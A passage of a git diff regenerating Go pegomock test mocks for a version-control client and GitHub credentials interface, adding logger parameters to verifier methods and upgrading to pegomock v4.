methodInvocations} } -type MockClient_PullIsApproved_OngoingVerification struct { +type MockClient_GetFileContent_OngoingVerification struct { mock *MockClient methodInvocations []pegomock.MethodInvocation } -func (c *MockClient_PullIsApproved_OngoingVerification) GetCapturedArguments() (models.Repo, models.PullRequest) { - repo, pull := c.GetAllCapturedArguments() - return repo[len(repo)-1], pull[len(pull)-1] +func (c *MockClient_GetFileContent_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.PullRequest, string) { + logger, pull, fileName := c.GetAllCapturedArguments() + return logger[len(logger)-1], pull[len(pull)-1], fileName[len(fileName)-1] } -func (c *MockClient_PullIsApproved_OngoingVerification) GetAllCapturedArguments() (_param0 []models.Repo, _param1 []models.PullRequest) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]models.Repo, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(models.Repo) +func (c *MockClient_GetFileContent_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.PullRequest, _param2 []string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(logging.SimpleLogging) + } } - _param1 = make([]models.PullRequest, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.(models.PullRequest) + if len(_params) > 1 { + _param1 = make([]models.PullRequest, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(models.PullRequest) + } + } + if len(_params) > 2 { + _param2 = make([]string, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(string) + } } } return } -func (verifier *VerifierMockClient) PullIsMergeable(repo models.Repo, pull models.PullRequest) *MockClient_PullIsMergeable_OngoingVerification { - params := []pegomock.Param{repo, pull} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "PullIsMergeable", params, verifier.timeout) - return &MockClient_PullIsMergeable_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +func (verifier *VerifierMockClient) GetModifiedFiles(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) *MockClient_GetModifiedFiles_OngoingVerification { + _params := []pegomock.Param{logger, repo, pull} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetModifiedFiles", _params, verifier.timeout) + return &MockClient_GetModifiedFiles_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } -type MockClient_PullIsMergeable_OngoingVerification struct { +type MockClient_GetModifiedFiles_OngoingVerification struct { mock *MockClient methodInvocations []pegomock.MethodInvocation } -func (c *MockClient_PullIsMergeable_OngoingVerification) GetCapturedArguments() (models.Repo, models.PullRequest) { - repo, pull := c.GetAllCapturedArguments() - return repo[len(repo)-1], pull[len(pull)-1] +func (c *MockClient_GetModifiedFiles_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest) { + logger, repo, pull := c.GetAllCapturedArguments() + return logger[len(logger)-1], repo[len(repo)-1], pull[len(pull)-1] } -func (c *MockClient_PullIsMergeable_OngoingVerification) GetAllCapturedArguments() (_param0 []models.Repo, _param1 []models.PullRequest) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]models.Repo, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(models.Repo) +func (c *MockClient_GetModifiedFiles_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(logging.SimpleLogging) + } } - _param1 = make([]models.PullRequest, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.(models.PullRequest) + if len(_params) > 1 { + _param1 = make([]models.Repo, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(models.Repo) + } + } + if len(_params) > 2 { + _param2 = make([]models.PullRequest, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(models.PullRequest) + } } } return } -func (verifier *VerifierMockClient) UpdateStatus(repo models.Repo, pull models.PullRequest, state models.CommitStatus, src string, description string, url string) *MockClient_UpdateStatus_OngoingVerification { - params := []pegomock.Param{repo, pull, state, src, description, url} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "UpdateStatus", params, verifier.timeout) - return &MockClient_UpdateStatus_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +func (verifier *VerifierMockClient) GetPullLabels(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) *MockClient_GetPullLabels_OngoingVerification { + _params := []pegomock.Param{logger, repo, pull} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetPullLabels", _params, verifier.timeout) + return &MockClient_GetPullLabels_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } -type MockClient_UpdateStatus_OngoingVerification struct { +type MockClient_GetPullLabels_OngoingVerification struct { mock *MockClient methodInvocations []pegomock.MethodInvocation } -func (c *MockClient_UpdateStatus_OngoingVerification) GetCapturedArguments() (models.Repo, models.PullRequest, models.CommitStatus, string, string, string) { - repo, pull, state, src, description, url := c.GetAllCapturedArguments() - return repo[len(repo)-1], pull[len(pull)-1], state[len(state)-1], src[len(src)-1], description[len(description)-1], url[len(url)-1] +func (c *MockClient_GetPullLabels_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest) { + logger, repo, pull := c.GetAllCapturedArguments() + return logger[len(logger)-1], repo[len(repo)-1], pull[len(pull)-1] } -func (c *MockClient_UpdateStatus_OngoingVerification) GetAllCapturedArguments() (_param0 []models.Repo, _param1 []models.PullRequest, _param2 []models.CommitStatus, _param3 []string, _param4 []string, _param5 []string) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]models.Repo, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(models.Repo) +func (c *MockClient_GetPullLabels_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(logging.SimpleLogging) + } } - _param1 = make([]models.PullRequest, len(c.methodInvocations)) - for u, param := range params[1] { - _param1[u] = param.(models.PullRequest) + if len(_params) > 1 { + _param1 = make([]models.Repo, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(models.Repo) + } } - _param2 = make([]models.CommitStatus, len(c.methodInvocations)) - for u, param := range params[2] { - _param2[u] = param.(models.CommitStatus) + if len(_params) > 2 { + _param2 = make([]models.PullRequest, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(models.PullRequest) + } } - _param3 = make([]string, len(c.methodInvocations)) - for u, param := range params[3] { - _param3[u] = param.(string) + } + return +} + +func (verifier *VerifierMockClient) GetTeamNamesForUser(logger logging.SimpleLogging, repo models.Repo, user models.User) *MockClient_GetTeamNamesForUser_OngoingVerification { + _params := []pegomock.Param{logger, repo, user} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "GetTeamNamesForUser", _params, verifier.timeout) + return &MockClient_GetTeamNamesForUser_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockClient_GetTeamNamesForUser_OngoingVerification struct { + mock *MockClient + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockClient_GetTeamNamesForUser_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.User) { + logger, repo, user := c.GetAllCapturedArguments() + return logger[len(logger)-1], repo[len(repo)-1], user[len(user)-1] +} + +func (c *MockClient_GetTeamNamesForUser_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.User) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(logging.SimpleLogging) + } } - _param4 = make([]string, len(c.methodInvocations)) - for u, param := range params[4] { - _param4[u] = param.(string) + if len(_params) > 1 { + _param1 = make([]models.Repo, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(models.Repo) + } } - _param5 = make([]string, len(c.methodInvocations)) - for u, param := range params[5] { - _param5[u] = param.(string) + if len(_params) > 2 { + _param2 = make([]models.User, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(models.User) + } } } return } -func (verifier *VerifierMockClient) MergePull(pull models.PullRequest) *MockClient_MergePull_OngoingVerification { - params := []pegomock.Param{pull} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "MergePull", params, verifier.timeout) - return &MockClient_MergePull_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +func (verifier *VerifierMockClient) HidePrevCommandComments(logger logging.SimpleLogging, repo models.Repo, pullNum int, command string, dir string) *MockClient_HidePrevCommandComments_OngoingVerification { + _params := []pegomock.Param{logger, repo, pullNum, command, dir} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "HidePrevCommandComments", _params, verifier.timeout) + return &MockClient_HidePrevCommandComments_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } -type MockClient_MergePull_OngoingVerification struct { +type MockClient_HidePrevCommandComments_OngoingVerification struct { mock *MockClient methodInvocations []pegomock.MethodInvocation } -func (c *MockClient_MergePull_OngoingVerification) GetCapturedArguments() models.PullRequest { - pull := c.GetAllCapturedArguments() - return pull[len(pull)-1] +func (c *MockClient_HidePrevCommandComments_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, int, string, string) { + logger, repo, pullNum, command, dir := c.GetAllCapturedArguments() + return logger[len(logger)-1], repo[len(repo)-1], pullNum[len(pullNum)-1], command[len(command)-1], dir[len(dir)-1] } -func (c *MockClient_MergePull_OngoingVerification) GetAllCapturedArguments() (_param0 []models.PullRequest) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]models.PullRequest, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(models.PullRequest) +func (c *MockClient_HidePrevCommandComments_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []int, _param3 []string, _param4 []string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(logging.SimpleLogging) + } + } + if len(_params) > 1 { + _param1 = make([]models.Repo, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(models.Repo) + } + } + if len(_params) > 2 { + _param2 = make([]int, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(int) + } + } + if len(_params) > 3 { + _param3 = make([]string, len(c.methodInvocations)) + for u, param := range _params[3] { + _param3[u] = param.(string) + } + } + if len(_params) > 4 { + _param4 = make([]string, len(c.methodInvocations)) + for u, param := range _params[4] { + _param4[u] = param.(string) + } } } return } func (verifier *VerifierMockClient) MarkdownPullLink(pull models.PullRequest) *MockClient_MarkdownPullLink_OngoingVerification { - params := []pegomock.Param{pull} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "MarkdownPullLink", params, verifier.timeout) + _params := []pegomock.Param{pull} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "MarkdownPullLink", _params, verifier.timeout) return &MockClient_MarkdownPullLink_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } @@ -490,46 +687,209 @@ func (c *MockClient_MarkdownPullLink_OngoingVerification) GetCapturedArguments() } func (c *MockClient_MarkdownPullLink_OngoingVerification) GetAllCapturedArguments() (_param0 []models.PullRequest) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]models.PullRequest, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(models.PullRequest) + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]models.PullRequest, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(models.PullRequest) + } } } return } -func (verifier *VerifierMockClient) DownloadRepoConfigFile(pull models.PullRequest) *MockClient_DownloadRepoConfigFile_OngoingVerification { - params := []pegomock.Param{pull} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "DownloadRepoConfigFile", params, verifier.timeout) - return &MockClient_DownloadRepoConfigFile_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +func (verifier *VerifierMockClient) MergePull(logger logging.SimpleLogging, pull models.PullRequest, pullOptions models.PullRequestOptions) *MockClient_MergePull_OngoingVerification { + _params := []pegomock.Param{logger, pull, pullOptions} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "MergePull", _params, verifier.timeout) + return &MockClient_MergePull_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } -type MockClient_DownloadRepoConfigFile_OngoingVerification struct { +type MockClient_MergePull_OngoingVerification struct { mock *MockClient methodInvocations []pegomock.MethodInvocation } -func (c *MockClient_DownloadRepoConfigFile_OngoingVerification) GetCapturedArguments() models.PullRequest { - pull := c.GetAllCapturedArguments() - return pull[len(pull)-1] +func (c *MockClient_MergePull_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.PullRequest, models.PullRequestOptions) { + logger, pull, pullOptions := c.GetAllCapturedArguments() + return logger[len(logger)-1], pull[len(pull)-1], pullOptions[len(pullOptions)-1] +} + +func (c *MockClient_MergePull_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.PullRequest, _param2 []models.PullRequestOptions) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(logging.SimpleLogging) + } + } + if len(_params) > 1 { + _param1 = make([]models.PullRequest, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(models.PullRequest) + } + } + if len(_params) > 2 { + _param2 = make([]models.PullRequestOptions, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(models.PullRequestOptions) + } + } + } + return +} + +func (verifier *VerifierMockClient) PullIsApproved(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) *MockClient_PullIsApproved_OngoingVerification { + _params := []pegomock.Param{logger, repo, pull} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "PullIsApproved", _params, verifier.timeout) + return &MockClient_PullIsApproved_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockClient_PullIsApproved_OngoingVerification struct { + mock *MockClient + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockClient_PullIsApproved_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest) { + logger, repo, pull := c.GetAllCapturedArguments() + return logger[len(logger)-1], repo[len(repo)-1], pull[len(pull)-1] +} + +func (c *MockClient_PullIsApproved_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(logging.SimpleLogging) + } + } + if len(_params) > 1 { + _param1 = make([]models.Repo, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(models.Repo) + } + } + if len(_params) > 2 { + _param2 = make([]models.PullRequest, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(models.PullRequest) + } + } + } + return +} + +func (verifier *VerifierMockClient) PullIsMergeable(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, vcsstatusname string, ignoreVCSStatusNames []string) *MockClient_PullIsMergeable_OngoingVerification { + _params := []pegomock.Param{logger, repo, pull, vcsstatusname, ignoreVCSStatusNames} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "PullIsMergeable", _params, verifier.timeout) + return &MockClient_PullIsMergeable_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockClient_PullIsMergeable_OngoingVerification struct { + mock *MockClient + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockClient_PullIsMergeable_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest, string, []string) { + logger, repo, pull, vcsstatusname, ignoreVCSStatusNames := c.GetAllCapturedArguments() + return logger[len(logger)-1], repo[len(repo)-1], pull[len(pull)-1], vcsstatusname[len(vcsstatusname)-1], ignoreVCSStatusNames[len(ignoreVCSStatusNames)-1] +} + +func (c *MockClient_PullIsMergeable_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest, _param3 []string, _param4 [][]string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(logging.SimpleLogging) + } + } + if len(_params) > 1 { + _param1 = make([]models.Repo, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(models.Repo) + } + } + if len(_params) > 2 { + _param2 = make([]models.PullRequest, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(models.PullRequest) + } + } + if len(_params) > 3 { + _param3 = make([]string, len(c.methodInvocations)) + for u, param := range _params[3] { + _param3[u] = param.(string) + } + } + if len(_params) > 4 { + _param4 = make([][]string, len(c.methodInvocations)) + for u, param := range _params[4] { + _param4[u] = param.([]string) + } + } + } + return +} + +func (verifier *VerifierMockClient) ReactToComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, commentID int64, reaction string) *MockClient_ReactToComment_OngoingVerification { + _params := []pegomock.Param{logger, repo, pullNum, commentID, reaction} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "ReactToComment", _params, verifier.timeout) + return &MockClient_ReactToComment_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockClient_ReactToComment_OngoingVerification struct { + mock *MockClient + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockClient_ReactToComment_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, int, int64, string) { + logger, repo, pullNum, commentID, reaction := c.GetAllCapturedArguments() + return logger[len(logger)-1], repo[len(repo)-1], pullNum[len(pullNum)-1], commentID[len(commentID)-1], reaction[len(reaction)-1] } -func (c *MockClient_DownloadRepoConfigFile_OngoingVerification) GetAllCapturedArguments() (_param0 []models.PullRequest) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]models.PullRequest, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(models.PullRequest) +func (c *MockClient_ReactToComment_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []int, _param3 []int64, _param4 []string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(logging.SimpleLogging) + } + } + if len(_params) > 1 { + _param1 = make([]models.Repo, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(models.Repo) + } + } + if len(_params) > 2 { + _param2 = make([]int, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(int) + } + } + if len(_params) > 3 { + _param3 = make([]int64, len(c.methodInvocations)) + for u, param := range _params[3] { + _param3[u] = param.(int64) + } + } + if len(_params) > 4 { + _param4 = make([]string, len(c.methodInvocations)) + for u, param := range _params[4] { + _param4[u] = param.(string) + } } } return } func (verifier *VerifierMockClient) SupportsSingleFileDownload(repo models.Repo) *MockClient_SupportsSingleFileDownload_OngoingVerification { - params := []pegomock.Param{repo} - methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "SupportsSingleFileDownload", params, verifier.timeout) + _params := []pegomock.Param{repo} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "SupportsSingleFileDownload", _params, verifier.timeout) return &MockClient_SupportsSingleFileDownload_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } @@ -544,11 +904,78 @@ func (c *MockClient_SupportsSingleFileDownload_OngoingVerification) GetCapturedA } func (c *MockClient_SupportsSingleFileDownload_OngoingVerification) GetAllCapturedArguments() (_param0 []models.Repo) { - params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) - if len(params) > 0 { - _param0 = make([]models.Repo, len(c.methodInvocations)) - for u, param := range params[0] { - _param0[u] = param.(models.Repo) + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]models.Repo, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(models.Repo) + } + } + } + return +} + +func (verifier *VerifierMockClient) UpdateStatus(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, state models.CommitStatus, src string, description string, url string) *MockClient_UpdateStatus_OngoingVerification { + _params := []pegomock.Param{logger, repo, pull, state, src, description, url} + methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "UpdateStatus", _params, verifier.timeout) + return &MockClient_UpdateStatus_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} +} + +type MockClient_UpdateStatus_OngoingVerification struct { + mock *MockClient + methodInvocations []pegomock.MethodInvocation +} + +func (c *MockClient_UpdateStatus_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest, models.CommitStatus, string, string, string) { + logger, repo, pull, state, src, description, url := c.GetAllCapturedArguments() + return logger[len(logger)-1], repo[len(repo)-1], pull[len(pull)-1], state[len(state)-1], src[len(src)-1], description[len(description)-1], url[len(url)-1] +} + +func (c *MockClient_UpdateStatus_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest, _param3 []models.CommitStatus, _param4 []string, _param5 []string, _param6 []string) { + _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) + if len(_params) > 0 { + if len(_params) > 0 { + _param0 = make([]logging.SimpleLogging, len(c.methodInvocations)) + for u, param := range _params[0] { + _param0[u] = param.(logging.SimpleLogging) + } + } + if len(_params) > 1 { + _param1 = make([]models.Repo, len(c.methodInvocations)) + for u, param := range _params[1] { + _param1[u] = param.(models.Repo) + } + } + if len(_params) > 2 { + _param2 = make([]models.PullRequest, len(c.methodInvocations)) + for u, param := range _params[2] { + _param2[u] = param.(models.PullRequest) + } + } + if len(_params) > 3 { + _param3 = make([]models.CommitStatus, len(c.methodInvocations)) + for u, param := range _params[3] { + _param3[u] = param.(models.CommitStatus) + } + } + if len(_params) > 4 { + _param4 = make([]string, len(c.methodInvocations)) + for u, param := range _params[4] { + _param4[u] = param.(string) + } + } + if len(_params) > 5 { + _param5 = make([]string, len(c.methodInvocations)) + for u, param := range _params[5] { + _param5[u] = param.(string) + } + } + if len(_params) > 6 { + _param6 = make([]string, len(c.methodInvocations)) + for u, param := range _params[6] { + _param6[u] = param.(string) + } } } return diff --git a/server/events/vcs/mocks/mock_github_credentials.go b/server/events/vcs/mocks/mock_github_credentials.go index 2837977c48..e737b10b3e 100644 --- a/server/events/vcs/mocks/mock_github_credentials.go +++ b/server/events/vcs/mocks/mock_github_credentials.go @@ -4,7 +4,7 @@ package mocks import ( - pegomock "github.com/petergtz/pegomock" + pegomock "github.com/petergtz/pegomock/v4" http "net/http" "reflect" "time" @@ -29,53 +29,57 @@ func (mock *MockGithubCredentials) Client() (*http.Client, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockGithubCredentials().") } - params := []pegomock.Param{} - result := pegomock.GetGenericMockFrom(mock).Invoke("Client", params, []reflect.Type{reflect.TypeOf((**http.Client)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 *http.Client - var ret1 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(*http.Client) + _params := []pegomock.Param{} + _result := pegomock.GetGenericMockFrom(mock).Invoke("Client", _params, []reflect.Type{reflect.TypeOf((**http.Client)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 *http.Client + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(*http.Client) } - if result[1] != nil { - ret1 = result[1].(error) + if _result[1] != nil { + _ret1 = _result[1].(error) } } - return ret0, ret1 + return _ret0, _ret1 } func (mock *MockGithubCredentials) GetToken() (string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockGithubCredentials().") } - params := []pegomock.Param{} - result := pegomock.GetGenericMockFrom(mock).Invoke("GetToken", params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) - var ret0 string - var ret1 error - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(string) + _params := []pegomock.Param{} + _result := pegomock.GetGenericMockFrom(mock).Invoke("GetToken", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 string + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(string) } - if result[1] != nil { - ret1 = result[1].(error) + if _result[1] != nil { + _ret1 = _result[1].(error) } } - return ret0, ret1 + return _ret0, _ret1 } -func (mock *MockGithubCredentials) GetUser() string { +func (mock *MockGithubCredentials) GetUser() (string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockGithubCredentials().") } - params := []pegomock.Param{} - result := pegomock.GetGenericMockFrom(mock).Invoke("GetUser", params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem()}) - var ret0 string - if len(result) != 0 { - if result[0] != nil { - ret0 = result[0].(string) + _params := []pegomock.Param{} + _result := pegomock.GetGenericMockFrom(mock).Invoke("GetUser", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) + var _ret0 string + var _ret1 error + if len(_result) != 0 { + if _result[0] != nil { + _ret0 = _result[0].(string) + } + if _result[1] != nil { + _ret1 = _result[1].(error) } } - return ret0 + return _ret0, _ret1 } func (mock *MockGithubCredentials) VerifyWasCalledOnce() *VerifierMockGithubCredentials { @@ -85,14 +89,14 @@ func (mock *MockGithubCredentials) VerifyWasCalledOnce() *VerifierMockGithubCred } } -func (mock *MockGithubCredentials) VerifyWasCalled(invocationCountMatcher pegomock.Matcher) *VerifierMockGithubCredentials { +func (mock *MockGithubCredentials) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockGithubCredentials { return &VerifierMockGithubCredentials{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } -func (mock *MockGithubCredentials) VerifyWasCalledInOrder(invocationCountMatcher pegomock.Matcher, inOrderContext *pegomock.InOrderContext) *VerifierMockGithubCredentials { +func (mock *MockGithubCredentials) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockGithubCredentials { return &VerifierMockGithubCredentials{ mock: mock, invocationCountMatcher: invocationCountMatcher, @@ -100,7 +104,7 @@ func (mock *MockGithubCredentials) VerifyWasCalledInOrder(invocationCountMatcher } } -func (mock *MockGithubCredentials) VerifyWasCalledEventually(invocationCountMatcher pegomock.Matcher, timeout time.Duration) *VerifierMockGithubCredentials { +func (mock *MockGithubCredentials) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockGithubCredentials { return &VerifierMockGithubCredentials{ mock: mock, invocationCountMatcher: invocationCountMatcher, @@ 